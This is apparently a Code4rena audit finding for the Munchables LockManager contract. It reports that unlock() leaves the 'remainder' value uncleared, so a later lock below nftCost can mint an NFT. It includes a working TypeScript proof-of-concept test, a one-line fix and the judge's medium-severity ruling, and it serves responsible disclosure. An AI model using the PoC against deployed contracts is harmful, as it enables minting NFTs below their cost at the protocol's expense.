Platform: Code4rena
Start Date: 22/05/2024
Pot Size: $20,000 USDC
Total HM: 6
Participants: 126
Period: 5 days
Judge: 0xsomeone
Total Solo HM: 1
Id: 379
League: ETH
Rank: 23/126
Findings: 1
Award: $28.80
🌟 Selected for report: 0
🚀 Solo Findings: 0
28.7985 USDC - $28.80
https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L401-L416
The unlock method does not set 'remainder' to 0, which might allow users to mint NFTs with assets less than nftCost.
When the lock method calculates the locked assets, it saves the assets that are less than nftCost into the 'remain' variable. In the next call to the lock method, 'remain' is added to the quantity. However, there is a bug in the unlock method (see: https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L401-L416). The unlock method does not set 'remain' to 0, which means that after a user has unlocked and transferred all assets, the 'remain' variable is not zero. This allows the next lock to mint an NFT with assets less than nftCost
import assert from "node:assert/strict"; import { after, afterEach, before, beforeEach, describe, it } from "node:test"; import { parseEther, zeroAddress } from "viem"; import { DeployedContractsType } from "../../../deployments/actions/deploy-contracts"; import { assertContractFunctionRevertedError, assertTransactionEvents, assertTxSuccess, } from "../../utils/asserters"; import { testClient } from "../../utils/consts"; import { TestERC20ContractType, deployTestERC20Contract, getTestContracts, getTestRoleAddresses, } from "../../utils/contracts"; import { registerPlayer } from "../../utils/players"; const lockDuration = 1000n; describe("LockManager: unlock", () => { let alice: `0x${string}`; let beforeSnapshot: `0x${string}`; let beforeEachSnapshot: `0x${string}`; let testContracts: DeployedContractsType; let testERC20Contract: TestERC20ContractType; async function assertUnlockSuccess({ player, quantity, lockedQuantity, balance, tokenContractAddress, txHash, }: { player: `0x${string}`; quantity: bigint; lockedQuantity: bigint; balance: bigint; tokenContractAddress: `0x${string}`; txHash: `0x${string}`; }) { const txReceipt = await assertTxSuccess({ txHash }); assertTransactionEvents({ abi: testContracts.lockManager.contract.abi, logs: txReceipt.logs, expectedEvents: [ { eventName: "Unlocked", args: { _player: player, _tokenContract: tokenContractAddress, _quantity: quantity, }, }, ], }); if (tokenContractAddress === zeroAddress) { const ethBalance = await testClient.getBalance({ address: player, }); // Subtract gas used on the unlock call from the expected balance assert.equal(ethBalance, balance - txReceipt.gasUsed); } else { const lockManagerERC20Balance = await testERC20Contract.read.balanceOf([player]); assert.equal(lockManagerERC20Balance, balance); } const lockedTokens = await testContracts.lockManager.contract.read.getLocked([player]); assert(lockedTokens instanceof Array); const lockedToken = lockedTokens.find((t) => t.tokenContract === tokenContractAddress); assert.ok(lockedToken); assert.equal(lockedToken.lockedToken.quantity, lockedQuantity); } before(async () => { testContracts = await getTestContracts(); beforeSnapshot = await testClient.snapshot(); const testRoleAddresses = await getTestRoleAddresses(); [alice] = testRoleAddresses.users; await registerPlayer({ account: alice, testContracts }); testERC20Contract = await deployTestERC20Contract({ account: alice }); const configureTokenTxHash = await testContracts.lockManager.contract.write.configureToken([ testERC20Contract.address, { usdPrice: 100n * BigInt(1e18), nftCost: parseEther("2"), active: true, decimals: 18 }, ]); await assertTxSuccess({ txHash: configureTokenTxHash }); const block1 = await testClient.getBlock(); const start1 = Number(block1.timestamp) - 1000; const end1 = Number(block1.timestamp) + 10000; const minLockDuration1 = 1000; const configureLockdrop = await testContracts.lockManager.contract.write.configureLockdrop([ { start: start1, end: end1, minLockDuration: minLockDuration1, }, ]); await assertTxSuccess({ txHash: configureLockdrop }); const setLockDurationTxHash = await testContracts.lockManager.contract.write.setLockDuration( [lockDuration], { account: alice } ); await assertTxSuccess({ txHash: setLockDurationTxHash }); }); beforeEach(async () => { beforeEachSnapshot = await testClient.snapshot(); await testClient.setBalance({ address: alice, value: parseEther("10"), }); }); afterEach(async () => { await testClient.revert({ id: beforeEachSnapshot }); }); after(async () => { await testClient.revert({ id: beforeSnapshot }); }); describe("when player has locked ERC20 tokens", () => { const erc20Balance = parseEther("100"); let unlockTime: number; beforeEach(async () => { // Approve 2 tokens on the test ERC20 const approveERC20TxHash = await testERC20Contract.write.approve([ testContracts.lockManager.contract.address, parseEther("2"), ]); await assertTxSuccess({ txHash: approveERC20TxHash }); const lockTxHash = await testContracts.lockManager.contract.write.lock( [testERC20Contract.address, parseEther("1")], { account: alice, } ); await assertTxSuccess({ txHash: lockTxHash }); const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]); assert(lockedTokens instanceof Array); const lockedToken = lockedTokens.find((t) => t.tokenContract === testERC20Contract.address); assert.ok(lockedToken); unlockTime = lockedToken.lockedToken.unlockTime; const lockManagerERC20Balance = await testERC20Contract.read.balanceOf([alice]); // Sanity check the ERC20 balance so we can test that it gets returned assert.equal(lockManagerERC20Balance, erc20Balance - parseEther("1")); }); describe("when unlock time is past", () => { beforeEach(async () => { // Fast-forward the chain to put unlock time in past await testClient.setNextBlockTimestamp({ timestamp: BigInt(unlockTime + 1), }); await testClient.mine({ blocks: 1 }); }); it("remain don't clear so lock 1ether can get 1 nft", async () => { const { request } = await testContracts.lockManager.contract.simulate.unlock( [testERC20Contract.address, parseEther("1")], { account: alice } ); const txHash = await testClient.writeContract(request); await assertUnlockSuccess({ player: alice, quantity: parseEther("1"), lockedQuantity: 0n, balance: erc20Balance, tokenContractAddress: testERC20Contract.address, txHash, }); const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]); assert(lockedTokens instanceof Array); const lockedToken = lockedTokens.find((t) => t.tokenContract === testERC20Contract.address); assert.ok(lockedToken); assert.equal(lockedToken.lockedToken.quantity, 0n); const nftNumbersBefore = await testContracts.nftOverlord.contract.read.getUnrevealedNFTs([alice]); assert.equal(nftNumbersBefore, 0); const lockTxHash = await testContracts.lockManager.contract.write.lock( [testERC20Contract.address, parseEther("1")], { account: alice, } ); await assertTxSuccess({ txHash: lockTxHash }); const nftNumbersAfter = await testContracts.nftOverlord.contract.read.getUnrevealedNFTs([alice]); assert.equal(nftNumbersAfter, 1); }); }); }); });
Test command: pnpm test
user can get 1 nft through lock 1eth < nftCost
Manual Review
In LockManager.sol unlock method, set the lockedToken.remainder = 0;
function unlock( address _tokenContract, uint256 _quantity ) external notPaused nonReentrant { LockedToken storage lockedToken = lockedTokens[msg.sender][ _tokenContract ]; if (lockedToken.quantity < _quantity) revert InsufficientLockAmountError(); if (lockedToken.unlockTime > uint32(block.timestamp)) revert TokenStillLockedError(); // force harvest to make sure that they get the schnibbles that they are entitled to accountManager.forceHarvest(msg.sender); lockedToken.quantity -= _quantity; +++ lockedToken.remainder = 0; // send token if (_tokenContract == address(0)) { payable(msg.sender).transfer(_quantity); } else { IERC20 token = IERC20(_tokenContract); token.transfer(msg.sender, _quantity); } emit Unlocked(msg.sender, _tokenContract, _quantity); }
Error
#0 - c4-judge
2024-06-05T13:04:19Z
alex-ppg marked the issue as satisfactory
#1 - c4-judge
2024-06-05T13:04:46Z
alex-ppg changed the severity to 2 (Med Risk)